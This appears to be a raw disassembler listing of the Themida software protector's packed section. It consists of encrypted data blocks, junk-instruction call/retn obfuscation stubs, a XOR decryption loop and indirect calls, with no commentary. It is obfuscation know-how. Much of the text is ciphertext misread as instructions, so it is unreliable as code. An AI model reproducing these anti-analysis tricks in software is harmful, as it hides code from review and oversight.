dd 100FC9BDh, 6A206A06h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 1C96C356h, 0E3A968D5h
dd 8A5759B5h, 66FF6AD4h, 95FFDF8Bh, 61006B9h, 10E9h, 57A4CC00h
dd 5B302DB7h, 135865E9h, 195FC125h, 0B8A0h, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 2A61FDC3h, 0C0ECA379h, 0B70EA68h, 47840FC0h, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h
dd 47000000h, 622BC357h, 8B46F645h, 19958BD0h, 8306102Dh
dd 101D19BDh, 840F0006h, 12h, 2AD195FFh, 8A0F0610h, 6
dd 23C59D0Bh, 858B0610h, 61010C5h, 2E01BD89h, 57600610h
dd 815EEEB4h, 775B45D9h, 0C6611Ah, 0D5DB8100h, 580E44CAh
dd 9099D01h, 0BD890610h, 6102FC9h, 6AD98C66h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
dd 0F406C356h, 82B07C96h, 0F697400h, 681h, 0A9BD3100h
dd 0E8061009h, 5, 30190FB3h, 45952917h, 5A061008h, 0F04C1F6h
dd 0B384h, 0DDB58900h, 8B06101Ah, 1013119Dh, 0A2E906h
dd 830F0000h, 1, 899D23FCh, 8B061005h, 102955B5h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 0F729B743h, 0C870Fh, 800F0000h, 6, 1B219D8Bh, 0C6810610h
dd 1180h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Bh, 0D3C35747h, 10296676h, 0E9B944CBh, 5, 0E8B4195Bh
dd 0C7D88B21h, 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1B04h, 0C3524200h, 1CD14BBAh, 8BEC9CFEh
dd 53006A5Eh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h
dd 0C3534300h, 8BA663D2h, 1012B195h, 0F88306h, 0C1D840Fh
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
dd 56460000h, 8B72F1C3h, 0D6BF0FDAh, 0F01F883h, 17D85h
dd 0FFE28000h, 0B8h, 68D0F00h, 8B000000h, 1004CD95h, 0FC00B06h
dd 10E84h, 1AF38100h, 0E90F4C5Eh, 10h, 0AEDDA1DFh, 7599D892h
dd 5A7F51EEh, 0E3E1F264h, 0F01F883h, 10184h, 71952300h
dd 83061007h, 840F03F8h, 74h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 16h, 37C35646h, 0DF80954Fh, 8BC02BA9h
dd 1007819Dh, 0E0BD8D06h, 8B005B89h, 100BC99Dh, 6AE7FF06h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h
dd 43000000h
dd 0E9EFC353h, 0Ah, 0CAF06344h, 89898A24h, 880F440Eh, 0Ch
dd 6890Fh, 9D890000h, 61010FDh, 1B8h, 51006A00h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 0BE94345h, 50000000h, 96B2FBA9h, 4FD11C72h, 0BD8DB28Fh
dd 5B89E0h, 0FFD78B66h, 50006AE7h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1D04h, 0C3504000h, 47D2C6A4h, 7900DDCBh
dd 8056C1F9h, 8D5BCCDBh, 10448FBDh, 1D958B06h, 0E9061013h
dd 317h, 0CAC4C381h, 85C7281Fh, 6104E5Eh, 5, 5B8F5h, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 0C14FC3C3h, 2329958Bh, 0EFE90610h, 0F000009h, 0F883D2B7h
dd 0FD850F02h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1C042444h, 43000000h, 2709C353h, 38542EB4h
dd 8081213Dh, 0B833DBh, 8B000000h, 10208D9Dh, 0FC00B06h
dd 8F84h, 82BA6600h, 1F8832Ch, 0FF74840Fh, 0F883FFFFh
dd 0ED840F03h, 6AFFFFFEh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 0F43AC351h, 15880F6Ah
dd 0E9000000h, 10h, 0A0EC8334h, 0EB6062BCh, 0D19F1AE1h
dd 27E08h, 6AC02Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 180424h, 56460000h, 480EC5C3h, 0D98BCE0Ch, 89E0BD8Dh
dd 958B005Bh, 61000C5h, 2960E7FFh, 100825BDh, 89B58906h
dd 61061008h, 4687BD8Dh, 6A0610h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 160424h, 51410000h, 0ABE3F7C3h, 1DAE9h, 0F3816600h
dd 9D8B36F3h, 6100CB1h, 0F03F883h, 4385h, 9D8B6000h, 6100719h
dd 61D9B70Fh, 68C0Fh, 9D8B0000h, 6100A09h, 481BBD8Dh, 0FE80610h
dd 0AF000000h, 0E7B81C8Bh, 23A31633h, 0C277AEA8h, 0F560834h
dd 85h, 0E95A5A00h, 187h, 0CCB6BA66h, 0F05F883h, 3785h
dd 3860F00h, 0F000000h, 83E9DABFh, 6A000008h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
dd 0B87EC351h, 0F0074E9h, 0EB81DBBFh, 0D4894E5h, 0F06F883h
dd 5885h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1404h, 0C3574700h, 0A2EA814Bh, 8D422B46h, 104A13BDh
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h
dd 0C3534300h, 5F48674Eh, 0BD898386h, 61013B5h, 0E6E9h
dd 0C6BB6600h, 7F88364h, 64850Fh, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 201A48C3h
dd 9EFF1E48h, 9D8B2A3Ah, 6101CA5h, 1BD8DF5h, 8906102Bh
dd 102A158Dh, 120E906h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1C0424h, 57470000h, 0BFB5F1C3h, 5A966AF7h
dd 0BA663E45h, 0F8834D3Fh, 6C850F0Ah, 66000000h, 8DA80CBBh
dd 104C0BBDh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1D04h, 0C3514100h, 87878F4Ah, 6E8093CFh, 38E95AC0h
dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 19042444h, 42000000h, 1DF9C352h, 0C122344Ch, 0DE9h
dd 0EBD39000h, 0C963EB2Ah, 15D9E148h, 81663AC9h, 5768B6DBh
dd 14019D33h, 72B90610h, 8B0E20B6h, 102DA59Dh, 3F8306h
dd 65840Fh, 7E90000h, 64000000h, 0D72CBA0Ah, 0F3034DDh
dd 0D1DFBF0Fh, 57006AC9h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1C04h, 0C3574700h, 0E870937Fh, 0ADF7784Dh
dd 6A47A2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
dd 53430000h, 61EDFCC3h, 0B4A57A7Ah, 0FFFF98E9h, 8D9D89FFh
dd 5F061022h, 0BD89F08Ah, 6104E07h, 68A0Fh, 9D890000h
dd 6101B35h, 14E98D8Dh, 6A0610h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 170424h, 56460000h, 0BBC302C3h, 28B0F97h
dd 0B3000000h, 0B5FFF5B7h, 61009ADh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ah, 0F3C35242h, 4D6F84B8h, 5E95B25h
dd 5000000h, 0FD44FF24h, 0AB5E858Dh, 8D500612h, 1055B8BDh
dd 0E78D8D06h, 0B8061070h, 54831ABCh, 730CF2Bh, 4947C8D0h
dd 0B58DF875h, 6107058h, 70FF8D8Dh, 0CF2B0610h, 0C933A4F3h
dd 0B8h, 74C00B00h, 19BD8346h, 6101Dh, 95FF0674h, 6102AD1h
dd 4E07B58Bh, 858D0610h, 612AB5Eh, 858DD0FFh, 6104264h
dd 85C7D0FFh, 6101C21h, 1, 30F5A58Bh, 0B58B0610h, 61030E9h
dd 21C9AD8Bh, 0C0330610h, 57000CC2h, 0BE8h, 0F4F80200h
dd 76F426D0h, 4A248AC1h, 26C28166h, 6A5B5A53h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
dd 9ABCC351h, 319D8B9Bh, 83061001h, 10306DBDh, 840F0006h
dd 18h, 12759531h, 95FF0610h, 6100AF5h, 23D99D89h, 95890610h
dd 6101BA1h, 2969BD83h, 0F000610h, 1C085h, 0EE900h, 868B0000h
dd 18D86B27h, 5798E8F5h, 5E7ACDCBh, 2209BD83h, 0F010610h
dd 1A085h, 0B1B50100h, 8306100Ch, 102DA1BDh, 840F0006h
dd 18Dh, 7D9D8960h, 0F06100Ah, 8361F3B7h, 104E5ABDh, 840F0006h
dd 175h, 237D9589h, 858D0610h, 612AB5Eh, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0DCC35747h, 0B3FFE985h
dd 8F0FBF7Ch, 6, 2D01958Bh, 9EBA0610h, 8B1F90FEh, 104E07B5h
dd 42E28106h, 8033FDFDh, 0D0FF00D7h, 4870Fh, 0BA660000h
dd 85C621F3h, 61023E5h, 559D8B54h, 0E8061014h, 11h, 27BE0EE3h
dd 8CBA6A13h, 0ACF80A72h, 93EA5DDCh, 0DF8B660Dh, 8BFC685Ah
dd 3BB7EEE9h, 8243481h, 8B11A735h, 199D8BD0h, 0FF06100Ah
dd 101499B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1D04h, 0C3504000h, 0C690C5CAh, 64958B36h, 0FF80E67h
dd 858DD0BFh, 6103A32h, 0C3BF0F60h, 2BE38166h, 0D0FF6153h
dd 0EE9h, 0C5A2D300h, 5B07F1F8h, 0FE91A466h, 6AE386BFh
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h
dd 0C3574700h, 0C005740Ch, 0BBFF6ACBh, 423BBFBDh, 6AD0FFh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 512019C3h, 8D91A5D9h, 858B603Fh, 6100059h, 0B58961FCh
dd 6101631h, 1911B5FFh, 6A0610h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 180424h, 50400000h, 0ED5C26C3h, 95FFD7C1h
dd 61009ADh, 7B58BF9h, 6006104Eh, 0F1BD8960h, 6006100Ah
dd 0BE96161h, 87000000h, 65F220A4h, 6F4F693h, 0C3619054h
dd 0B58BB7B6h, 61010C5h, 0C959D8Bh, 0F60B0610h, 27840Fh
dd 0BF90000h, 1008519Dh, 6C606h, 178D0Fh, 12E90000h, 6C000000h
dd 2616538h, 59FE23B9h, 0A6509D0Ah, 928DE23Ah, 0F858935h
dd 8906104Eh, 100A75B5h, 0F88306h, 385840Fh, 5BBA0000h
dd 0B83D574Fh, 0
; ---------------------------------------------------------------------------
mov edx, 57283A0Ah
cmp eax, 0
jz loc_55298B
mov dh, 0CCh
movzx edx, di
cmp eax, 2
jnz loc_552933
sbb edx, 5E0313B0h
xor ebx, 5E7D17ADh
lea eax, [ebp+610448Ah]
push 0
push esi
call sub_5528A1
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5528A1 proc near ; CODE XREF: Themida_:00552899p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_5528A1 endp
; ---------------------------------------------------------------------------
db 76h, 8Bh, 9Dh
; ---------------------------------------------------------------------------
frstor byte ptr [edi]
adc [esi], al
sub eax, 929h
push 0
push edx
call sub_5528C8
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5528C8 proc near ; CODE XREF: Themida_:005528C0p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_5528C8 endp
; ---------------------------------------------------------------------------
dd 0BD5C56ADh, 6559830Fh, 9509C588h, 6102885h, 14E890h
dd 1FC40000h, 0CE0FB28Ah, 63F27E78h, 6218CF86h, 0B25D74E4h
dd 525084F8h, 310FD88Bh, 8D0Fh, 585A0000h, 8B60505Bh, 0E99061F7h
dd 0Ah, 8E15ECE6h, 93CD5A4Eh, 0FC3E69Eh, 687h, 859D8B00h
; ---------------------------------------------------------------------------
or edx, [eax]
push es
loc_552933: ; CODE XREF: Themida_:0055287Ej
mov eax, 0
push 0
push ebx
call sub_552943
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_552943 proc near ; CODE XREF: Themida_:0055293Bp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_552943 endp
; ---------------------------------------------------------------------------
aad 0E3h
inc ecx
pop esp
xchg eax, esi
jz short loc_552969
mov bh, 0D1h
jmp loc_552BE3
; ---------------------------------------------------------------------------
push 0
push edx
call sub_55296C
loc_552969: ; CODE XREF: Themida_:00552958j
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_55296C proc near ; CODE XREF: Themida_:00552964p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_55296C endp
; ---------------------------------------------------------------------------
dd 0B218FFC8h, 15595365h, 0E9953149h
; ---------------------------------------------------------------------------
and [eax], edx
push es
loc_55298B: ; CODE XREF: Themida_:00552870j
mov eax, 1
mov [ebp+6102D75h], ecx
lea edi, [ebp+610448Fh]
add dl, 82h
jmp loc_552ADE
; ---------------------------------------------------------------------------
push 0
push esi
call sub_5529AF
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5529AF proc near ; CODE XREF: Themida_:005529A7p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_5529AF endp
; ---------------------------------------------------------------------------
db 88h
dd 81256E1Fh, 58E149EAh, 0CE91Bh, 0CDCB0000h, 99905E7Ah
dd 1292983Dh, 0F883A4E5h, 6D850F02h, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
dd 0A8A1C356h, 1812CACh, 1020298Dh, 87BD8D06h, 0F061046h
dd 8Fh, 0C4E900h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 180424h, 51410000h, 633E73C3h, 11E956F2h
dd 81000000h, 7D143A28h, 0C083A89Eh, 0F8307459h, 0B2855732h
dd 0F03F883h, 7385h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1804h, 0C3574700h, 0D928764Dh, 559D8BFEh
dd 6006102Eh, 10E9h, 5B85A00h, 446EBC4Ch, 0A14F9B2h, 4262D6CAh
dd 0C1958BE3h, 61061010h, 481BBD8Dh, 950B0610h, 6102FD1h
dd 31E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1704h, 0C3524200h, 6F1498Dh, 0F05F883h, 985h, 80E900h
dd 0BA660000h
db 0AEh, 36h
; ---------------------------------------------------------------------------
loc_552ADE: ; CODE XREF: Themida_:0055299Fj
push edi
push 0
push eax
call sub_552AEA
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_552AEA proc near ; CODE XREF: Themida_:00552AE2p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_552AEA endp
; ---------------------------------------------------------------------------
xchg dl, [ecx-42D67A98h]
std
and dl, [eax]
push es
mov ecx, 0E20B672h
jge loc_552B12
movsx ebx, dx
loc_552B12: ; CODE XREF: Themida_:00552B09j
; Themida_:00552B53j
cmp dword ptr [edi], 0
jz loc_552B5A
mov bh, 0B2h
xor [edi], cl
mov [ebp+61023D9h], edi
ror ecx, 1
push 0
push ebx
call sub_552B32
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_552B32 proc near ; CODE XREF: Themida_:00552B2Ap
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_552B32 endp
; ---------------------------------------------------------------------------
shl byte ptr [ecx-79h], 1
cmp ds:0B2F38A26h, ecx
inc edi
inc edi
add edx, [ebp+6102085h]
jmp loc_552B12
; ---------------------------------------------------------------------------
mov bl, 8
loc_552B5A: ; CODE XREF: Themida_:00552B15j
cmp eax, 5
jnz loc_552BE3
sub bh, 0E1h
mov cx, ds
cmc
test cl, 4
jnz loc_552BBC
mov dx, si
mov eax, 0
push 0
push ebp
call sub_552B86
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_552B86 proc near ; CODE XREF: Themida_:00552B7Ep
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 14h
inc ebp
push ebp
retn
sub_552B86 endp
; ---------------------------------------------------------------------------
dw 0E808h
dd 9, 8A748BC7h, 130B4379h, 0DA8B660Eh, 35E95Ah, 860F0000h
dd 5, 59D6FEBBh, 0D38B6635h
; ---------------------------------------------------------------------------
loc_552BBC: ; CODE XREF: Themida_:00552B6Dj
mov eax, [ebp+61015ADh]
cld
jmp eax
; ---------------------------------------------------------------------------
call near ptr loc_552BD7+5
push eax
push es
mov eax, 0D23AF621h
shr dword ptr [ebp-2E09299Ah], cl
loc_552BD7: ; CODE XREF: Themida_:00552BC5p
sub dword ptr [ebx], 29432545h
mov ch, 31h
xor edx, [eax]
push es
pop edx
loc_552BE3: ; CODE XREF: Themida_:0055295Cj
; Themida_:00552B5Dj
cmp dword ptr [ebp+61009ADh], 0
jnz loc_552CF2
mov edx, [ebp+6102E65h]
mov edx, 3919C40h
nop
mov dl, 6Ch
push eax
push esi
call near ptr loc_552C0B+2
adc esp, [esi]
test ebx, ebx
pop ebp
pop edi
loc_552C0B: ; CODE XREF: Themida_:00552C00p
lds edx, [ebx-45h]
; ---------------------------------------------------------------------------
dw 0CBC5h
dd 5B5A1B49h, 158C0F90h, 0F000000h, 0F89h, 9E800h, 41130000h
dd 8DECFEECh, 5A520AECh, 23E585C6h, 0B2450610h, 4E851h
dd 69690000h, 8B668E72h, 0C3B650DAh, 424448Bh, 9C78BA66h
dd 0F60008Bh, 0D81h, 7E800h, 0C2390000h, 95075B56h, 9E85FB8h
dd 8F000000h, 0A2E62321h, 0D5BD121Ah, 58DF8B66h, 24448961h
dd 0E8525004h, 5, 0C4BC784h, 5ADD8A63h, 0DE8B310Fh, 0B258585Ah
dd 99B5FF88h, 0BA061014h, 780870B4h, 3A32858Dh, 8B660610h
dd 0FF37B6D7h, 50006AD0h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1A04h, 0C3504000h, 0CC474D31h, 8B852790h
dd 100E2195h, 599D3106h, 89061002h, 1009AD85h, 9DF38106h
dd 58252B9Ch, 5E9h, 2BF93300h
; ---------------------------------------------------------------------------
frstor byte ptr [eax]
loc_552CF2: ; CODE XREF: Themida_:00552BEAj
cmp dword ptr [ebp+6104E5Eh], 0
jz loc_552D58
push 0
push esi
call sub_552D0A
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_552D0A proc near ; CODE XREF: Themida_:00552D02p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 16h
inc esi
push esi
retn
sub_552D0A endp
; ---------------------------------------------------------------------------
adc ah, 0Eh
push dword ptr [ebp+6101911h]
push ecx
mov [ebp+6100EDDh], ebx
pop ebx
call dword ptr [ebp+61009ADh]
push 0
push edi
call sub_552D3C
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_552D3C proc near ; CODE XREF: Themida_:00552D34p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 19h
inc edi
push edi
retn
sub_552D3C endp
; ---------------------------------------------------------------------------
dd 0D3FF49E3h, 0C2818768h, 511DCCFh
; ---------------------------------------------------------------------------
loc_552D58: ; CODE XREF: Themida_:00552CF9j
cmp eax, 0
jnz loc_552E24
or bx, 8A23h
cmp dword ptr [ebp+6101359h], 0
jz loc_552DB7
mov edx, ebx
mov edx, 7BEE471Dh
push dword ptr [ebp+6101359h]
push edi
push edi
mov bx, di
pop edx
pop ebx
mov eax, 1
push 0
push eax
call sub_552D97
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_552D97 proc near ; CODE XREF: Themida_:00552D8Fp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_552D97 endp
; ---------------------------------------------------------------------------
db 1Ah
; ---------------------------------------------------------------------------
movsd
adc al, 0D6h
les edx, [ecx+44EB806Dh]
jmp loc_55303F
; ---------------------------------------------------------------------------
loc_552DB7: ; CODE XREF: Themida_:00552D6Dj
push dword ptr [ebp+6101911h]
push 0
push ebx
call sub_552DC8
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_552DC8 proc near ; CODE XREF: Themida_:00552DC0p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 18h
inc ebx
push ebx
retn
sub_552DC8 endp
; ---------------------------------------------------------------------------
dd 1D2A2DE1h, 15BD897Fh, 89061005h, 10163D9Dh, 7E806h
dd 871D0000h, 0AAFD1665h, 957DBADCh, 0FF5A0607h, 101911B5h
dd 0F19D0106h, 0FF061018h, 1009ADB5h, 1D858906h, 0E906101Dh
dd 227h, 1EF19589h, 9D8B0610h, 6102FA1h
; ---------------------------------------------------------------------------
loc_552E24: ; CODE XREF: Themida_:00552D5Bj
pop edi
push 0
push eax
call sub_552E30
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_552E30 proc near ; CODE XREF: Themida_:00552E28p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_552E30 endp
; ---------------------------------------------------------------------------
db 0CCh
db 0C5h, 62h, 0Fh
dd 0D223ADFEh, 119D89C2h, 8306100Ch, 1012F5BDh, 850F0006h
dd 105h, 23E585C6h, 604D0610h, 20D18589h, 0BD890610h, 61030F9h
dd 4E861h, 76A80000h, 11E8A435h, 70000000h, 8BBC174Bh
dd 5290F1CBh, 74C00873h, 0CD6E37A9h, 0BE9h, 7C53B200h
dd 0F2F978DFh, 0CBEB3224h, 880F505Bh, 2, 448BDE8Ah, 56BB0424h
dd 8B2C4EB2h, 840F5700h, 3, 5AD98B66h, 4244489h, 0BFBB6660h
dd 61F38B6Dh, 9E85358h, 2D000000h, 0D511BFBFh, 6834E28Bh
dd 5AEAC280h, 0E5B5FF5Bh, 81061020h, 0E7EE83CAh, 32858D54h
dd 0E906103Ah, 14h, 8BC9A41Eh, 0D15D0D26h, 0A404B13Eh
dd 33E2184Fh, 7B092EA3h, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1C0424h, 53430000h, 3D02FDC3h, 62356433h
dd 8589E99Fh, 61012F5h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Bh, 7CC35040h, 39789F6Bh, 89C88228h, 101C7D8Dh
dd 0B806h, 95010000h, 6101C55h, 4E07BD89h, 6A0610h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
dd 0F55B4CC3h, 12CE8949h, 9D8B59C9h, 6100E0Dh, 92DA8166h
dd 0FC00B04h, 2D84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1404h, 0C3554500h, 0ED958B74h, 0E906100Dh
dd 6Fh, 29798509h, 0B5FF0610h, 61009ADh, 0F08A6050h, 7E9h
dd 0FBAB5100h, 56255604h, 85895A61h, 6102F1Dh, 0AB5E858Dh
dd 85890612h, 61029A9h, 50D18B90h, 11E8h, 99255B00h, 9D0B55F8h
dd 8CAD1167h, 0BC494ECFh, 8C0F84F5h, 6, 8D0Fh, 905B0000h
dd 0B810Fh, 0F600000h, 9D8BD7B7h, 61007E1h, 21952361h
; ---------------------------------------------------------------------------
or edx, [eax]
push es
loc_55303F: ; CODE XREF: Themida_:00552DB2j
push eax
push esi
lea edi, [ebp+61055B8h]
lea ecx, [ebp+6107BE9h]
mov eax, 748323BCh
sub ecx, edi
loc_553054: ; CODE XREF: Themida_:0055305Aj
xor [edi], al
ror al, 1
inc edi
dec ecx
jnz short loc_553054
pop esi
pop eax
cmp dword ptr [ebp+6101359h], 0
jz short loc_55306D
mov ecx, [ebp+6100B89h]
loc_55306D: ; CODE XREF: Themida_:00553065j
xor ecx, ecx
mov eax, 0
or eax, eax
jz loc_553124
cmp dword ptr [ebp+6101D19h], 0
jz short loc_55308B
call dword ptr [ebp+6102AD1h]
loc_55308B: ; CODE XREF: Themida_:00553083j
mov eax, 0
or eax, eax
jnz short loc_55309D
cmp dword ptr [ebp+6104E0Fh], 1
jz short loc_5530A6
loc_55309D: ; CODE XREF: Themida_:00553092j
cmp dword ptr [ebp+6104E0Fh], 2
jnz short loc_5530B4
loc_5530A6: ; CODE XREF: Themida_:0055309Bj
mov esi, [ebp+6104E07h]
lea eax, [ebp+612AB5Eh]
call eax
loc_5530B4: ; CODE XREF: Themida_:005530A4j
cmp dword ptr [ebp+610306Dh], 0
jz short loc_5530C3
call dword ptr [ebp+6100AF5h]
loc_5530C3: ; CODE XREF: Themida_:005530BBj
lea eax, [ebp+6104264h]
call eax
cmp dword ptr [ebp+6100855h], 2
jnz short loc_553103
mov esp, [ebp+61030F5h]
mov eax, [ebp+6101359h]
mov [esp], eax
mov dword ptr [ebp+6101C21h], 1
mov esi, [ebp+6104E0Bh]
mov ebp, [ebp+61021C9h]
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
jmp short $+2
loc_553103: ; CODE XREF: Themida_:005530D2j
mov dword ptr [ebp+6101C21h], 1
mov esp, [ebp+61030F5h]
mov esi, [ebp+61030E9h]
mov ebp, [ebp+61021C9h]
xor eax, eax
retn 0Ch
; ---------------------------------------------------------------------------
loc_553124: ; CODE XREF: Themida_:00553076j
cmp dword ptr [ebp+610306Dh], 0
jz short loc_55313C
cmp dword ptr [ebp+6100AF5h], 0
jz short loc_55313C
call dword ptr [ebp+6100AF5h]
loc_55313C: ; CODE XREF: Themida_:0055312Bj
; Themida_:00553134j
mov esi, [ebp+6104E07h]
retn
; ---------------------------------------------------------------------------
jle loc_55314F
mov ebx, [ebp+610089Dh]
loc_55314F: ; CODE XREF: Themida_:00553143j
push 0
push edi
call sub_55315A
loc_553157: ; CODE XREF: Themida_:0055316Dj
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_55315A proc near ; CODE XREF: Themida_:00553152p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 19h
inc edi
push edi
retn
sub_55315A endp
; ---------------------------------------------------------------------------
shr byte ptr [eax], cl
push ebp
jnp short loc_553157
scasb
mov ebx, [ebp+6101195h]
mov edx, 0
xor [ebp+6102885h], ecx
mov [ebp+6101BC5h], edx
push ebp
mov ebp, esp
push ecx
push edi
push edx
push esi
mov edi, [ebp+8]
xor eax, eax
jmp short loc_553197
; ---------------------------------------------------------------------------
loc_553195: ; CODE XREF: Themida_:0055319Aj
inc eax
inc edi
loc_553197: ; CODE XREF: Themida_:00553193j
cmp byte ptr [edi], 0
jnz short loc_553195
xor ecx, ecx
mov edi, [ebp+8]
jmp short loc_5531C6
; ---------------------------------------------------------------------------
loc_5531A3: ; CODE XREF: Themida_:005531C8j
xor edx, edx
mov dl, [edi]
sub dl, 30h
mov esi, eax
dec esi
push eax
mov eax, edx
push ebx
mov ebx, 0Ah
jmp short loc_5531BB
; ---------------------------------------------------------------------------
loc_5531B8: ; CODE XREF: Themida_:005531BEj
mul ebx
dec esi
loc_5531BB: ; CODE XREF: Themida_:005531B6j
cmp esi, 0
ja short loc_5531B8
pop ebx
add ecx, eax
pop eax
inc edi
dec eax
loc_5531C6: ; CODE XREF: Themida_:005531A1j
or eax, eax
jnz short loc_5531A3
mov eax, ecx
pop esi
pop edx
pop edi
pop ecx
leave
retn 4
; ---------------------------------------------------------------------------
push eax
pusha
xor dx, 3B67h
mov [ebp+61022B9h], ebx
popa
pop edx
jno loc_5531EF
and ebx, 1035BE37h
loc_5531EF: ; CODE XREF: Themida_:005531E3j
mov dh, ah
loc_5531F1: ; CODE XREF: Themida_:loc_5502CDj
mov eax, ecx
jmp loc_5754FD
; ---------------------------------------------------------------------------
dd 0
dd 25D003Fh, 2 dup(5CC447h), 12FF6Ch, 5CAA9Fh, 25D0028h
dd 202h, 2, 1, 3, 0FA44B46Bh, 5 dup(0)
dd offset loc_557013
dd offset loc_55C644
; ---------------------------------------------------------------------------
ror dword ptr [edi+76040055h], 1
push ebp
add ds:9700554Ah, dl
xchg eax, ecx
push ebp
add [ebx+690055D7h], ch
jmp short loc_5532B0
; ---------------------------------------------------------------------------
align 4
dd offset loc_554A0D
dd offset loc_559509
dd offset loc_5558A8
dd offset loc_55BC12
dd offset loc_559630
dd offset loc_55C49F
dd offset loc_55E122
dd offset loc_5550D7
dd offset byte_55C859
dd offset loc_55F6DC
dd offset loc_554746
dd offset loc_55D9C5
dd offset loc_55CA76
dd offset loc_55BD2E
; ---------------------------------------------------------------------------
pop ebp
popf
push ebp
add [edi-6Ch], bh
push ebp
add [ebx], bl
pop ecx
push ebp
